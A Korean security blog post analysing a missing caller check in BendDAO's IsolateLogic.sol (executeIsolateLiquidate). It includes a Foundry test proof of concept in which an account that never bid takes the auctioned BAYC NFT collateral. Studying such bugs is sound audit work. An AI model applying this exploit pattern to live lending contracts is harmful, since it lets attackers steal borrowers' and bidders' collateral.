Tyojong

[1-day] BendDAO - Access Control 본문

카테고리 없음

[1-day] BendDAO - Access Control

Tyojong 2025. 11. 5. 18:56

코드 분석

https://github.com/code-423n4/2024-07-benddao/blob/117ef61967d4b318fc65170061c9577e674fffa1/src/libraries/logic/IsolateLogic.sol#L477

 

2024-07-benddao/src/libraries/logic/IsolateLogic.sol at 117ef61967d4b318fc65170061c9577e674fffa1 · code-423n4/2024-07-benddao

Contribute to code-423n4/2024-07-benddao development by creating an account on GitHub.

github.com

IsolateLogic.sol은 BendDAO에서 NFT 담보 대출과 경매/청산 로직을 담당하는 핵심 모듈이다.

 

정상적인 흐름이라면 경매 입찰자에게만 해당 담보가 가야하지만 executeIsolateLiquidate함수에 msg.sender에 대한 검증이 존재하지 않아 경매에서 실제로 입찰하지 않은 아무나 경매 종료 후 NFT 담보를 가져갈 수 있게된다.

 

params.msgSender에 경매 승리자가 아니더라도 아무 계정이나 들어갈 수 있다.

 

익스플로잇

//test/integration/TestIntIsolateLiquidate.t.sol
...
  function test_Anyone_Can_LiquidateWETH() public {
    TestCaseLocalVars memory testVars;

    // toDepositor1 테스트 계정에 WETH를 민트/승인해서 공용 대출풀에 유동성을 공급하도록 준비
    prepareWETH(tsDepositor1);
    
    // tsBorrower1가 보유한 BAYC 토큰들을 Isolated 모드 풀에 담보로 올려놓도록 세팅
    uint256[] memory tokenIds = prepareIsolateBAYC(tsBorrower1);

    // toBorrower1가 담보(BAYC)를 잡고 WETH를 빌림
    // 이 시점부터 tsBorrower1의 포지션은 채무 상태이며 시간이 흐르면 이자가 붙음
    prepareBorrow(tsBorrower1, address(tsBAYC), tokenIds, address(tsWETH));

    // 블록 타임을 1년 전진시켜서 이자를 충분히 쌓음
    advanceTimes(365 days);

    // 가격 피드에서 BAYC 가격을 의도적으로 설정 (경매/청산 조건을 맞추기 위한 단계)
    actionSetNftPrice(address(tsBAYC), 5000);

    // tsLiquidator1가 경매를 시작하거나 최고가 입찰자가 되도록 셋업
    // 정상 로직이라면 경매에 입찰한 사람만 경매 종료 후 NFT를 넘겨 받을 자격이 생겨야 함
    prepareAuction(tsLiquidator1, address(tsBAYC), tokenIds, address(tsWETH));

    // 블록 타임을 25시간 전진 (경매 기간이 끝나 청산/수령 가능한 상태로 만듦)
    advanceTimes(25 hours);

    // 각 NFT에 대해 청산할 금액을 담는 배열
    uint256[] memory liquidateAmounts = new uint256[](tokenIds.length);
    
    // 경매 종료 직전의 각 담보 NFT에 대한 대출/입찰 관련 데이터 스냅샷
    testVars.loanDataBefore = getIsolateLoanData(tsCommonPoolId, address(tsBAYC), tokenIds);
    
    // 스냅샷 값들을 합산해서 전체 포지션 단위로 전/후 비교에 활용하려는 코드.
    for (uint256 i = 0; i < tokenIds.length; i++) {
      testVars.totalBidAmount += testVars.loanDataBefore[i].bidAmount;
      testVars.totalBidFine += testVars.loanDataBefore[i].bidFine;
      testVars.totalRedeemAmount += testVars.loanDataBefore[i].redeemAmount;
      testVars.totalBorrowAmount += testVars.loanDataBefore[i].borrowAmount;
    }

    // 풀 WETH 잔고, 입찰자(tsLiquidator1)의 WETH 잔고, 차입자(tsBorrower1)의 WETH 잔고를 저장
    testVars.poolBalanceBefore = tsWETH.balanceOf(address(tsPoolManager));
    testVars.walletBalanceBefore1 = tsWETH.balanceOf(address(tsLiquidator1));
    testVars.walletBalanceBefore2 = tsWETH.balanceOf(address(tsBorrower1));
    testVars.erc721BalanceBefore1 = tsBAYC.balanceOf(address(tsLiquidator1));

    // 입찰자가 아닌 tsBorrower2가 isolateLiquidate() 호출해 NFT를 가져갈 수 있음
    tsBorrower2.isolateLiquidate(tsCommonPoolId, address(tsBAYC), tokenIds, address(tsWETH), liquidateAmounts, false);
    testVars.erc721BalanceAfter1 = tsBAYC.balanceOf(address(tsBorrower2));
    assertEq(
      testVars.erc721BalanceAfter1,
      (testVars.erc721BalanceBefore1 + tokenIds.length),
      'tsLiquidator1 bayc balance'
    );

    }
...

위 익스플로잇 코드를 기존에 존재하는 test/integration/TestIntIsolateLiquidate.t.sol 코드에 붙여넣은 후 실행시키면

 

정상적으로 pass된 것을 확인 할 수 있다.